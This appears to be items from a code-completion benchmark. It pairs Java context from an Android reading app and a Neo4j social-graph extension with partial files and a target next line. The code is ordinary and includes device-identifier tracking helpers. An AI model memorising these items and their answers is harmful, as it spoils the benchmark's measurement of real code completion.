[ "public class DebugUtil {\n static String className;\n private DebugUtil(){}\n\n public static boolean isDebugEnable() {\n return Config.DEBUG;\n }\n\n private static String createLog( String log ) {\n return log;\n }\n\n private static void getMethodNames(StackTraceElement[] sElements){\n String methodName = sElements[1].getMethodName();\n int lineNumber = sElements[1].getLineNumber();\n className = \"{ \" + sElements[1].getFileName() + \" : \" + lineNumber + \" - \" + methodName + \" }\";\n }\n\n public static void e(String message){\n if (!isDebugEnable())\n return;\n\n getMethodNames(new Throwable().getStackTrace());\n Log.e(className, createLog(message));\n } public static void e(String Tag ,String message){\n if (!isDebugEnable())\n return;\n\n getMethodNames(new Throwable().getStackTrace());\n Log.e(Tag, createLog(message));\n }\n\n public static void i(String message){\n if (!isDebugEnable())\n return;\n\n getMethodNames(new Throwable().getStackTrace());\n Log.i(className, createLog(message));\n }\n\n public static void d(String message){\n if (!isDebugEnable())\n return;\n\n getMethodNames(new Throwable().getStackTrace());\n Log.d(className, createLog(message));\n }\n\n public static void v(String message){\n if (!isDebugEnable())\n return;\n\n getMethodNames(new Throwable().getStackTrace());\n Log.v(className, createLog(message));\n }\n\n public static void w(String message){\n if (!isDebugEnable())\n return;\n\n getMethodNames(new Throwable().getStackTrace());\n Log.w(className, createLog(message));\n }\n\n public static void wtf(String message){\n if (!isDebugEnable())\n return;\n\n getMethodNames(new Throwable().getStackTrace());\n Log.wtf(className, createLog(message));\n }\n\n}", "public class DeviceUtil {\n private static DeviceUtil instance;\n private Context context;\n private static String appVersion;\n private static String appSimpleVersion;\n\n private static Integer channel;\n\n public DeviceUtil(Context context) {\n this.context = context;\n instance = this;\n }\n\n public static DeviceUtil getInstance() {\n return instance;\n }\n\n /**\n * 获取屏幕分辨率 width_height\n *\n * @return\n */\n public String getScreen() {\n WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);\n Display display = windowManager.getDefaultDisplay();\n DisplayMetrics screenSize = new DisplayMetrics();\n display.getMetrics(screenSize);\n return screenSize.widthPixels + \"*\" + screenSize.heightPixels;\n }\n\n /**\n * 根据手机的分辨率从 dp 的单位 转成为 px(像素)\n */\n public static int dip2px(Context context, float dpValue) {\n final float scale = context.getResources().getDisplayMetrics().density;\n return (int) (dpValue * scale + 0.5f);\n }\n\n /**\n * 根据手机的分辨率从 px(像素) 的单位 转成为 dp\n */\n public static int px2dip(Context context, float pxValue) {\n final float scale = context.getResources().getDisplayMetrics().density;\n return (int) (pxValue / scale + 0.5f);\n }\n\n public static int getScreenWidth(Context context) {\n WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);\n Display display = windowManager.getDefaultDisplay();\n DisplayMetrics screenSize = new DisplayMetrics();\n display.getMetrics(screenSize);\n return screenSize.widthPixels;\n }\n\n public static int getScreenHeight(Context context) {\n WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);\n Display display = windowManager.getDefaultDisplay();\n DisplayMetrics screenSize = new DisplayMetrics();\n display.getMetrics(screenSize);\n return screenSize.heightPixels;\n }\n\n public static int getDensityDpi(Context context) {\n WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);\n Display display = windowManager.getDefaultDisplay();\n DisplayMetrics screenSize = new DisplayMetrics();\n display.getMetrics(screenSize);\n return screenSize.densityDpi;\n }\n\n public static boolean isHasSD() {\n return Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED);\n }\n\n\n public int getWindowHeight(Context context) {\n return getScreenHeight(context) - getStatusBarHeight(context);\n }\n\n // 获取手机状态栏高度\n public static int getStatusBarHeight(Context context) {\n Class<?> c;\n Object obj;\n Field field;\n int x, statusBarHeight = 0;\n try {\n c = Class.forName(\"com.android.internal.R$dimen\");\n obj = c.newInstance();\n field = c.getField(\"status_bar_height\");\n x = Integer.parseInt(field.get(obj).toString());\n statusBarHeight = context.getResources().getDimensionPixelSize(x);\n } catch (Exception e1) {\n e1.printStackTrace();\n }\n return statusBarHeight;\n }\n\n /**\n * 检测网络状态是否连接\n *\n * @param context\n * @return\n */\n public static boolean isNetworkAavilable(Context context) {\n ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);\n if (connectivityManager == null) {\n return false;\n }\n\n NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();\n return networkInfo != null && networkInfo.isConnected();\n }\n\n public static String getImei(Context context) {\n try {\n TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);\n String imei = telephonyManager.getDeviceId();\n if (imei.isEmpty())\n imei = null;\n return imei;\n } catch (Exception e) {\n e.printStackTrace();\n }\n return null;\n }\n\n /**\n * 获取手机的IMSI\n *\n * @param context\n * @return imsi\n * @author tonydeng\n */\n public static String getImsi(Context context) {\n TelephonyManager manager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);\n String imsi = manager.getSubscriberId();\n if (TextUtils.isEmpty(imsi))\n imsi = null;\n return imsi;\n }\n\n /**\n * 获取设置的渠道号\n *\n * @param context\n * @return channel\n * @author tonydeng\n */\n public static Integer getChannel(Context context) {\n if (channel == null) {\n try {\n PackageManager pm = context.getPackageManager();\n ApplicationInfo ai = pm.getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA);\n Bundle bundle = ai.metaData;\n return bundle.getInt(\"com.leguangchang.channel\");\n } catch (NameNotFoundException e) {\n channel = 1;\n } catch (Exception e) {\n channel = 1;\n }\n }\n return channel;\n }\n\n public static String getAppVersion(Context context) {\n if (null == appVersion || appVersion.trim().length() == 0) {\n PackageManager packageManager = context.getPackageManager();\n try {\n PackageInfo packageInfo = packageManager.getPackageInfo(context.getPackageName(), 0);\n Integer cahnnel = getChannel(context);\n appVersion = getAppSiteId() + \".\" + packageInfo.versionName + \".\" + cahnnel;\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n return appVersion;\n }\n public static int getAppVersionCode(Context mContext){\n PackageManager mPackageManager = mContext.getPackageManager();\n try {\n PackageInfo mInfo = mPackageManager.getPackageInfo(mContext.getPackageName(),0);\n return mInfo.versionCode;\n } catch (NameNotFoundException e) {\n e.printStackTrace();\n return Integer.MAX_VALUE;\n }\n }\n\n /**\n * 获取带平台信息的url\n *\n * @param context\n * @param url\n * @return\n */\n public static String getPlatformUrl(Context context, String url) {\n if (!url.contains(\"?\")) {\n url += \"?\";\n }\n\n if (!url.contains(\"_c=\")) {\n url += \"&_c=\" + Uri.encode(getAppVersion(context));\n }\n return url;\n }\n\n public static String getAppSiteId() {\n return \"1\";\n }\n\n public static String getAppSimpleVersion(Context context) {\n if (null == appSimpleVersion || appSimpleVersion.trim().length() == 0) {\n PackageManager packageManager = context.getPackageManager();\n try {\n PackageInfo packageInfo = packageManager.getPackageInfo(context.getPackageName(), 0);\n appSimpleVersion = packageInfo.versionName;\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n return appSimpleVersion;\n }\n\n\n /**\n * 获得Android_id\n *\n * @param context\n * @return android_id\n * @author tonydeng\n */\n public static String getAndroidId(Context context) {\n return Secure.getString(context.getContentResolver(), Secure.ANDROID_ID);\n }\n\n /**\n * 修改图片\n *\n * @param bitmap\n * @param context\n * @return\n */\n @SuppressWarnings(\"deprecation\")\n public static Drawable resizeImage(Bitmap bitmap, Context context) {\n Bitmap BitmapOrg = bitmap;\n int width = BitmapOrg.getWidth();\n int height = BitmapOrg.getHeight();\n int newWidth = getScreenWidth(context) - width;\n int newHeight = getScreenHeight(context) * 4 / 5 - height;\n\n float scaleWidth = ((float) newWidth) / width;\n float scaleHeight = ((float) newHeight) / height;\n\n Matrix matrix = new Matrix();\n matrix.postScale(scaleWidth, scaleHeight);\n // if you want to rotate the Bitmap\n matrix.postRotate(180);\n Bitmap resizedBitmap = Bitmap.createBitmap(BitmapOrg, 0, 0, width, height, matrix, true);\n return new BitmapDrawable(resizedBitmap);\n }\n\n /**\n * Get android versionName in AndroidManifest.xml\n *\n * @param context\n * @return\n */\n public static String getAppVersionName(Context context) {\n String appVersion;\n try {\n PackageInfo info = context.getPackageManager().getPackageInfo(context.getPackageName(), 0);\n appVersion = info.versionName;\n } catch (NameNotFoundException e) {\n appVersion = null;\n }\n return appVersion;\n }\n\n public static int getAppPlatform(Context context) {\n String versionName = getAppVersionName(context);\n int platform = -1;\n if (versionName != null) {\n int end = versionName.indexOf('.');\n if (end > -1) {\n platform = Integer.parseInt(versionName.substring(0, end));\n }\n }\n return platform;\n }\n\n // API都有只不过是将其进行综合并作为自己工程中的工具函数使用,很方便的。\n /**\n * 获取当前网络状态的类型 *\n *\n * @param mContext\n * @return 返回网络类型\n */\n public static final int NETWORK_TYPE_NONE = -0x1; // 断网情况\n public static final int NETWORK_TYPE_WIFI = 0x1; // WIFI模式\n public static final int NETWOKR_TYPE_MOBILE = 0x2; // GPRS模式\n\n public static int getCurrentNetType(Context mContext) {\n ConnectivityManager connManager = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);\n NetworkInfo wifi = connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI); // WIFI\n NetworkInfo gprs = connManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE); // GPRS\n\n if (wifi != null && wifi.getState() == State.CONNECTED) {\n return NETWORK_TYPE_WIFI;\n } else if (gprs != null && gprs.getState() == State.CONNECTED) {\n return NETWOKR_TYPE_MOBILE;\n }\n return NETWORK_TYPE_NONE;\n }\n\n /**\n * 判断Android客户端网络是否连接\n * 只能判断是否有可用的连接,而不能判断是否能连网\n *\n * @param context\n * @return true/false\n */\n public static boolean checkNet(Context context) {\n try {\n ConnectivityManager connectivity = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);\n if (connectivity != null) {\n NetworkInfo info = connectivity.getActiveNetworkInfo();\n if (info != null && info.isConnected()) {\n if (info.getState() == State.CONNECTED) {\n return true;\n }\n }\n }\n } catch (Exception e) {\n return false;\n }\n return false;\n }\n\n /**\n * 判断GPS是否打开\n *\n * @param context\n * @return\n */\n public static boolean isGpsEnabled(Context context) {\n LocationManager lm = ((LocationManager) context.getSystemService(Context.LOCATION_SERVICE));\n List<String> accessibleProviders = lm.getProviders(true);\n return accessibleProviders != null && accessibleProviders.size() > 0;\n }\n\n /**\n * 判断WIFI是否打开\n *\n * @param context\n * @return\n */\n public static boolean isWifiEnabled(Context context) {\n ConnectivityManager mgrConn = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);\n TelephonyManager mgrTel = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);\n return ((mgrConn.getActiveNetworkInfo() != null && mgrConn\n .getActiveNetworkInfo().getState() == State.CONNECTED) || mgrTel\n .getNetworkType() == TelephonyManager.NETWORK_TYPE_UMTS);\n }\n\n /**\n * 判断是否是3G网络\n *\n * @param context\n * @return\n */\n public static boolean is3gNet(Context context) {\n ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);\n NetworkInfo networkINfo = cm.getActiveNetworkInfo();\n return networkINfo != null && networkINfo.getType() == ConnectivityManager.TYPE_MOBILE;\n }\n\n /**\n * 判断是否是WIFI网络\n *\n * @param context\n * @return\n */\n public static boolean isWifiNet(Context context) {\n ConnectivityManager cm = (ConnectivityManager) context\n .getSystemService(Context.CONNECTIVITY_SERVICE);\n NetworkInfo networkINfo = cm.getActiveNetworkInfo();\n return networkINfo != null\n && networkINfo.getType() == ConnectivityManager.TYPE_WIFI;\n }\n\n /**\n * WIFI状态下获取IP地址\n *\n * @param mContext\n * @return\n */\n public static String getWIFILocalIpAdress(Context mContext) {\n //获取wifi服务\n WifiManager wifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);\n //判断wifi是否开启\n if (!wifiManager.isWifiEnabled()) {\n wifiManager.setWifiEnabled(true);\n }\n WifiInfo wifiInfo = wifiManager.getConnectionInfo();\n int ipAddress = wifiInfo.getIpAddress();\n return formatIpAddress(ipAddress);\n }\n\n private static String formatIpAddress(int ipAdress) {\n return (ipAdress & 0xFF) + \".\" +\n ((ipAdress >> 8) & 0xFF) + \".\" +\n ((ipAdress >> 16) & 0xFF) + \".\" +\n (ipAdress >> 24 & 0xFF);\n }\n\n /**\n * 使用GPRS时,获取本机IP地址\n *\n * @return\n */\n public static String getGPRSLocalIpAddress() {\n try {\n for (Enumeration<NetworkInterface> en = NetworkInterface.getNetworkInterfaces(); en.hasMoreElements(); ) {\n NetworkInterface intf = en.nextElement();\n for (Enumeration<InetAddress> enumIpAddr = intf.getInetAddresses(); enumIpAddr.hasMoreElements(); ) {\n InetAddress inetAddress = enumIpAddr.nextElement();\n if (!inetAddress.isLoopbackAddress()) {\n return inetAddress.getHostAddress();\n }\n }\n }\n } catch (SocketException ex) {\n// DebugUtils.d(ex.getMessage());\n }\n return \"\";\n }\n\n\n /**\n * 获取网关IP地址\n *\n * @return\n */\n public static String getHostIp() {\n try {\n Enumeration<NetworkInterface> en = NetworkInterface.getNetworkInterfaces();\n while (null != en && en.hasMoreElements()) {\n NetworkInterface intf = en.nextElement();\n for (Enumeration<InetAddress> ipAddr = intf.getInetAddresses(); ipAddr.hasMoreElements(); ) {\n InetAddress inetAddress = ipAddr.nextElement();\n if (!inetAddress.isLoopbackAddress()) {\n return inetAddress.getHostAddress();\n }\n }\n }\n } catch (Exception e) {\n e.printStackTrace();\n }\n return null;\n }\n\n public static String getTrackingDistinctId(Context context) {\n // String source = getAndroidId(context) + \":\" + getImei(context) + \":\" + DeviceUtil.getImsi(context) + \":\" + ReaderApplication\n // .getToken();\n\n String source = getAndroidId(context) + \":\" + getImei(context) + \":\" + DeviceUtil.getImsi(context);\n return MD5Util.MD5Encode(source, \"utf-8\");\n }\n\n// public static boolean isMobile(String phonenum) {\n// if (phonenum.length() < 3){\n// return false;\n// }\n// if(TextUtils.isDigitsOnly(phonenum)) {\n// String prefix = phonenum.substring(0,2);\n//\n// }\n//// String frontTwoNums = phonenum.substring(0, 2);\n//// String regExp = \"^[1]([3][0-9]{1}|[5][0-9]{1}|88|89|70|85|82|86)[0-9]{8}$\";\n//// String regExp = \".*?(\\\\d).*?\\\\1{8,11}$\";\n//// String regExp = \"^[1](3|4|5|7|8|9)$\";\n//// Pattern p = Pattern.compile(regExp);\n//// Matcher m = p.matcher(phonenum);\n////\n//// return m.find();\n// return false;\n// }\n\n public static boolean isPasswordRule(String password) {\n String regExp = \"^[0-9A-Za-z]{6,16}$\";\n Pattern p = Pattern.compile(regExp);\n Matcher m = p.matcher(password);\n return m.find();\n }\n\n public static boolean isHasSpecialWord(String password) {\n// String regExp = \"[\\\\u4e00-\\\\u9fa5\\\\\\\\w\\\\\\\\d]*\";\n String regExp = \"^[\\\\u4e00-\\\\u9fa5_a-zA-Z0-9]+$\";\n Pattern p = Pattern.compile(regExp);\n Matcher m = p.matcher(password);\n return m.find();\n }\n\n public static boolean isRecurWord(String password) {\n String regExp = \"^[1](([0|1|2|3|4|5|6|7|8|9|0]{9}[0-9]{1})|[0-9]{1}[0|1|2|3|4|5|6|7|8|9|0]{9})$\";\n Pattern p = Pattern.compile(regExp);\n Matcher m = p.matcher(password);\n return m.find();\n }\n\n /**\n * 将px值转换为sp值,保证文字大小不变\n *\n * @param pxValue\n * (DisplayMetrics类中属性scaledDensity)\n * @return\n */\n public static int px2sp(Context context, float pxValue) {\n final float fontScale = context.getResources().getDisplayMetrics().scaledDensity;\n return (int) (pxValue / fontScale + 0.5f);\n }\n\n /**\n * 将sp值转换为px值,保证文字大小不变\n *\n * @param spValue\n * (DisplayMetrics类中属性scaledDensity)\n * @return\n */\n public static int sp2px(Context context, float spValue) {\n final float fontScale = context.getResources().getDisplayMetrics().scaledDensity;\n return (int) (spValue * fontScale + 0.5f);\n }\n\n\n public static int getVoiceCurrentPercent(Context context) {\n AudioManager mAudioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);\n float max = (float) mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);\n float current = (float) mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);\n float percent = current / max * 100;\n\n return (int) percent;\n }\n\n public static void setVolumeByPercent(Context context, int value) {\n AudioManager mAudioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);\n int max = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);\n int current = Math.round((float) max * (float) value / 100);\n\n mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, current, 0);\n }\n\n /**\n * save clientid\n *\n * @param context\n * context\n */\n public static void setClientId(Context context) {\n }\n\n public static boolean isRunningApp(Context context, String packageName) {\n boolean isAppRunning = false;\n ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n List<ActivityManager.RunningTaskInfo> list = am.getRunningTasks(100);\n for (ActivityManager.RunningTaskInfo info : list) {\n if (info.topActivity.getPackageName().equals(packageName) && info.baseActivity.getPackageName().equals(packageName)) {\n isAppRunning = true;\n // find it, break\n break;\n }\n }\n return isAppRunning;\n }\n\n /**\n * 检测手机是否有内存卡\n *\n * @return boolean\n */\n public static boolean isExternalMediaMounted() {\n return Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED);\n }\n\n /**\n * 判断服务是否启动, 注意只要名称相同, 会检测任何服务.\n *\n * @param context\n * 上下文\n * @param serviceClass\n * 服务类\n * @return 是否启动服务\n */\n public static boolean isServiceRunning(Context context, Class<?> serviceClass) {\n if (context == null) {\n return false;\n }\n\n Context appContext = context.getApplicationContext();\n ActivityManager manager = (ActivityManager) appContext.getSystemService(Context.ACTIVITY_SERVICE);\n\n if (manager != null) {\n List<ActivityManager.RunningServiceInfo> infos = manager.getRunningServices(Integer.MAX_VALUE);\n if (infos != null && !infos.isEmpty()) {\n for (ActivityManager.RunningServiceInfo service : infos) {\n // 添加Uid验证, 防止服务重名, 当前服务无法启动\n if (getUid(context) == service.uid) {\n if (serviceClass.getName().equals(service.service.getClassName())) {\n return true;\n }\n }\n }\n }\n }\n return false;\n }\n\n /**\n * 获取应用的Uid, 用于验证服务是否启动\n *\n * @param context\n * 上下文\n * @return uid\n */\n public static int getUid(Context context) {\n if (context == null) {\n return -1;\n }\n\n int pid = android.os.Process.myPid();\n ActivityManager manager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n\n if (manager != null) {\n List<ActivityManager.RunningAppProcessInfo> infos = manager.getRunningAppProcesses();\n if (infos != null && !infos.isEmpty()) {\n for (ActivityManager.RunningAppProcessInfo processInfo : infos) {\n if (processInfo.pid == pid) {\n return processInfo.uid;\n }\n }\n }\n }\n return -1;\n }\n\n // 获取通知的ID, 防止重复, 可以用于通知的ID\n public static class NotificationID {\n // 随机生成一个数\n private final static AtomicInteger c = new AtomicInteger(0);\n\n // 获取一个不重复的数, 从0开始\n public static int getID() {\n return c.incrementAndGet();\n }\n }\n\n /**\n * 检测应用是否运行\n *\n * @param packageName\n * 包名\n * @param context\n * 上下文\n * @return 是否存在\n */\n public static boolean isAppAlive(String packageName, Context context) {\n if (context == null || TextUtils.isEmpty(packageName)) {\n return false;\n }\n\n ActivityManager activityManager = (ActivityManager)\n context.getSystemService(Context.ACTIVITY_SERVICE);\n\n if (activityManager != null) {\n List<ActivityManager.RunningAppProcessInfo> procInfos = activityManager.getRunningAppProcesses();\n if (procInfos != null && !procInfos.isEmpty()) {\n for (int i = 0; i < procInfos.size(); i++) {\n if (procInfos.get(i).processName.equals(packageName)) {\n return true;\n }\n }\n }\n }\n\n return false;\n }\n\n /**\n * 获取进程名称\n *\n * @param context\n * 上下文\n * @return 进程名称\n */\n public static String getProcessName(Context context) {\n int pid = android.os.Process.myPid();\n ActivityManager manager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n List<ActivityManager.RunningAppProcessInfo> infos = manager.getRunningAppProcesses();\n if (infos != null) {\n for (ActivityManager.RunningAppProcessInfo processInfo : infos) {\n if (processInfo.pid == pid) {\n return processInfo.processName;\n }\n }\n }\n return null;\n }\n\n /**\n * 检测计步传感器是否可以使用\n *\n * @param context\n * 上下文\n * @return 是否可用计步传感器\n */\n public static boolean hasStepSensor(Context context) {\n if (context == null) {\n return false;\n }\n\n Context appContext = context.getApplicationContext();\n if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) {\n return false;\n } else {\n boolean hasSensor = false;\n Sensor sensor = null;\n try {\n hasSensor = appContext.getPackageManager().hasSystemFeature(\"android.hardware.sensor.stepcounter\");\n SensorManager sm = (SensorManager) appContext.getSystemService(Context.SENSOR_SERVICE);\n sensor = sm.getDefaultSensor(Sensor.TYPE_STEP_COUNTER);\n } catch (Exception e) {\n e.printStackTrace();\n }\n\n return hasSensor && sensor != null;\n }\n }\n\n // 获取通知的ID, 防止重复, 可以用于通知的ID\n public static int getNotificationID() {\n // 随机生成一个数\n AtomicInteger c = new AtomicInteger(0);\n\n return c.incrementAndGet();\n }\n\n /**\n * 检测屏幕是否开启\n *\n * @param context\n * 上下文\n * @return 是否屏幕开启\n */\n public static boolean isScreenOn(Context context) {\n Context appContext = context.getApplicationContext();\n PowerManager pm = (PowerManager) appContext.getSystemService(Context.POWER_SERVICE);\n\n if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT_WATCH) {\n return pm.isInteractive();\n } else {\n // noinspection all\n return pm.isScreenOn();\n }\n }\n}", "public class RetrofitNetWork {\n private ApiService mApiService;\n\n public static final String BaseURL = \"http://app.idaxiang.org/api/v1_0/\";\n\n\n private volatile static RetrofitNetWork ourInstance = null;\n\n public static RetrofitNetWork getInstance() {\n if (null == ourInstance) {\n synchronized (RetrofitNetWork.class) {\n if (ourInstance == null) {\n ourInstance = new RetrofitNetWork();\n }\n }\n }\n return ourInstance;\n }\n\n private RetrofitNetWork() {\n Executor cacheExecutor = Executors.newCachedThreadPool();\n Retrofit retrofit = new Retrofit.Builder()\n .callbackExecutor(cacheExecutor)\n .baseUrl(BaseURL)\n .addConverterFactory(GsonConverterFactory.create())\n .addCallAdapterFactory(RxJavaCallAdapterFactory.create())\n .build();\n\n mApiService = retrofit.create(ApiService.class);\n\n }\n\n\n public static void catchThrowable(Context context, Throwable throwable) {\n if (null == throwable) {\n return;\n }\n if (null != throwable.getCause() && throwable.getCause().toString().contains(\"android.system.GaiException\")) {\n Utils.showToast(context, context.getString(R.string.network_error));\n } else {\n Utils.showToast(context, throwable.getMessage());\n }\n\n }\n\n public Observable<PageInfo> getPageInfos(int pageSize, int pageNum) {\n return mApiService.getPageInfos(pageSize, pageNum)\n .subscribeOn(Schedulers.newThread())\n .observeOn(AndroidSchedulers.mainThread());\n }\n\n public Observable<ArticleDescInfo> getArticleDescInfo(String articleId) {\n return mApiService.getArticleDescInfo(articleId)\n .subscribeOn(Schedulers.newThread())\n .observeOn(AndroidSchedulers.mainThread());\n }\n\n public Observable<PageInfo> loadMoreArticle(int pageSize, String createTime, String updateTime) {\n return mApiService.loadMoreArticle(pageSize, createTime, updateTime)\n .subscribeOn(Schedulers.newThread())\n .observeOn(AndroidSchedulers.mainThread());\n }\n\n public Observable<SplashInfo> loadSplashImg(){\n return mApiService.loadSplashImg()\n .subscribeOn(Schedulers.io())\n .observeOn(AndroidSchedulers.mainThread());\n }\n\n\n}", "public class SplashInteractor {\n\n public Bitmap getSplashBitmap(Context context) {\n// Glide.with(context).load(Uri.parse(\"file:///android_asset/splash/splash_background.jpg\")).asBitmap()\n Bitmap mBitmap;\n BitmapFactory.Options options = new BitmapFactory.Options();\n options.inPreferredConfig = Bitmap.Config.RGB_565;\n try {\n mBitmap = BitmapFactory.decodeStream(context.getResources().getAssets().open\n (\"splash/splash_background.jpg\"), null, options);\n } catch (IOException e) {\n mBitmap = null;\n e.printStackTrace();\n }\n return mBitmap;\n }\n\n}", "public interface Presenter {\n void initialized();\n\n void onDestroy();\n\n}", "public class PreferenceManager {\n private SharedPreferences mPreferences;\n private static PreferenceManager instance = null;\n private int currentVersionCode = -1;\n\n private static final String KEY_RIDE_RESULT = \"RIDE_RESULT\";\n private static final String KEY_SPLASH_IMG = \"IMG_SPLASH\";\n private static final String KEY_SPLASH_CODE = \"CODE_SPLASH\";\n\n public static void initPreferences(Context context) {\n instance = new PreferenceManager(context);\n }\n\n private PreferenceManager(Context context) {\n mPreferences = context.getSharedPreferences(Constants.DEFAULT_PREFER, Context.MODE_PRIVATE);\n }\n\n public static PreferenceManager getInstance() {\n return instance;\n }\n\n public int getReceiveRideResult() {\n return mPreferences.getInt(KEY_RIDE_RESULT, 0);\n }\n\n public void setReceiveRideResult(int value) {\n mPreferences.edit().putInt(KEY_RIDE_RESULT, value).apply();\n }\n\n public void setVersionCode(int code) {\n if (currentVersionCode != code) {\n currentVersionCode = code;\n setReceiveRideResult(0);\n }\n }\n\n public String getSplashImgPath() {\n return mPreferences.getString(KEY_SPLASH_IMG, \"\");\n }\n\n\n public void putSplashImgPath(String mPath) {\n mPreferences.edit().putString(KEY_SPLASH_IMG, mPath).apply();\n }\n\n\n public int getSplashImgCode() {\n return mPreferences.getInt(KEY_SPLASH_CODE, 0);\n }\n\n public void putSplashImgCode(int code) {\n mPreferences.edit().putInt(KEY_SPLASH_CODE, code).apply();\n }\n}", "public interface SplashView {\n void navigateHome();\n\n ImageView getBgView();\n}" ]
import android.animation.Animator; import android.animation.AnimatorListenerAdapter; import android.animation.ObjectAnimator; import android.content.Context; import android.graphics.Bitmap; import android.os.Build; import android.os.Handler; import android.os.Looper; import android.text.TextUtils; import android.widget.ImageView; import com.bumptech.glide.Glide; import com.orhanobut.logger.Logger; import com.umeng.analytics.AnalyticsConfig; import com.umeng.analytics.MobclickAgent; import reader.simple.com.simple_reader.common.DebugUtil; import reader.simple.com.simple_reader.common.DeviceUtil; import reader.simple.com.simple_reader.common.netWork.RetrofitNetWork; import reader.simple.com.simple_reader.interactor.SplashInteractor; import reader.simple.com.simple_reader.presenter.Presenter; import reader.simple.com.simple_reader.utils.PreferenceManager; import reader.simple.com.simple_reader.viewInterface.SplashView; import rx.subscriptions.CompositeSubscription;
package reader.simple.com.simple_reader.presenter.impl; /** * ================================================== * 项目名称:Simple_Reader * 创建人:wangxiaolong * 创建时间:16/3/17 下午5:56 * 修改时间:16/3/17 下午5:56 * 修改备注: * Version: * ================================================== */ public class SplashPresenter implements Presenter { private Context ctx; private SplashView splashView; private Handler mainHandler = new Handler(Looper.getMainLooper()); private SplashInteractor interactor; private Bitmap bitmap; private CompositeSubscription mSubscription; public SplashPresenter(Context ctx, SplashView splashView) { this.ctx = ctx; this.splashView = splashView; interactor = new SplashInteractor(); } @Override public void initialized() {
DebugUtil.e("initialized");
0
maxdemarzi/grittier_ext
src/main/java/com/maxdemarzi/blocks/Blocks.java
[ "public enum RelationshipTypes implements RelationshipType {\n BLOCKS,\n FOLLOWS,\n MUTES,\n LIKES,\n REPLIED_TO\n}", "public final class Properties {\n\n private Properties() {\n throw new IllegalAccessError(\"Utility class\");\n }\n\n public static final String COUNT = \"count\";\n public static final String EMAIL = \"email\";\n public static final String FOLLOWERS_YOU_KNOW = \"followers_you_know\";\n public static final String FOLLOWERS_YOU_KNOW_COUNT = \"followers_you_know_count\";\n public static final String HASH = \"hash\";\n public static final String I_FOLLOW = \"i_follow\";\n public static final String FOLLOWS_ME = \"follows_me\";\n public static final String LIKES = \"likes\";\n public static final String LIKED = \"liked\";\n public static final String LIKED_TIME = \"liked_time\";\n public static final String NAME = \"name\";\n public static final String PASSWORD = \"password\";\n public static final String USERNAME = \"username\";\n public static final String REPOSTS = \"reposts\";\n public static final String REPOSTED = \"reposted\";\n public static final String REPOSTED_TIME = \"reposted_time\";\n public static final String REPOSTER_NAME = \"reposter_name\";\n public static final String REPOSTER_USERNAME = \"reposter_username\";\n public static final String STATUS = \"status\";\n public static final String TIME = \"time\";\n\n}", "public static Long getLatestTime(@QueryParam(\"since\") Long since) {\n LocalDateTime dateTime;\n if (since == null) {\n dateTime = LocalDateTime.now(utc);\n } else {\n dateTime = LocalDateTime.ofEpochSecond(since, 0, ZoneOffset.UTC);\n }\n return dateTime.toEpochSecond(ZoneOffset.UTC);\n}", "public static final ZoneId utc = TimeZone.getTimeZone(\"UTC\").toZoneId();", "public static Node findUser(String username, Transaction tx) {\n if (username == null) { return null; }\n Node user = tx.findNode(Labels.User, USERNAME, username);\n if (user == null) { throw UserExceptions.userNotFound(); }\n return user;\n}", "public static Map<String, Object> getUserAttributes(Node user) {\n Map<String, Object> results;\n results = user.getAllProperties();\n results.remove(EMAIL);\n results.remove(PASSWORD);\n Integer following = user.getDegree(RelationshipTypes.FOLLOWS, Direction.OUTGOING);\n Integer followers = user.getDegree(RelationshipTypes.FOLLOWS, Direction.INCOMING);\n Integer likes = user.getDegree(RelationshipTypes.LIKES, Direction.OUTGOING);\n Integer posts = user.getDegree(Direction.OUTGOING) - following - likes;\n results.put(\"following\", following);\n results.put(\"followers\", followers);\n results.put(\"likes\", likes);\n results.put(\"posts\", posts);\n return results;\n}" ]
import com.fasterxml.jackson.databind.ObjectMapper; import com.maxdemarzi.RelationshipTypes; import org.neo4j.dbms.api.DatabaseManagementService; import org.neo4j.graphdb.*; import javax.ws.rs.Path; import javax.ws.rs.*; import javax.ws.rs.core.Context; import javax.ws.rs.core.Response; import java.io.IOException; import java.time.LocalDateTime; import java.time.ZoneOffset; import java.util.ArrayList; import java.util.Comparator; import java.util.Map; import static com.maxdemarzi.Properties.*; import static com.maxdemarzi.Time.getLatestTime; import static com.maxdemarzi.Time.utc; import static com.maxdemarzi.users.Users.findUser; import static com.maxdemarzi.users.Users.getUserAttributes; import static java.util.Collections.reverseOrder;
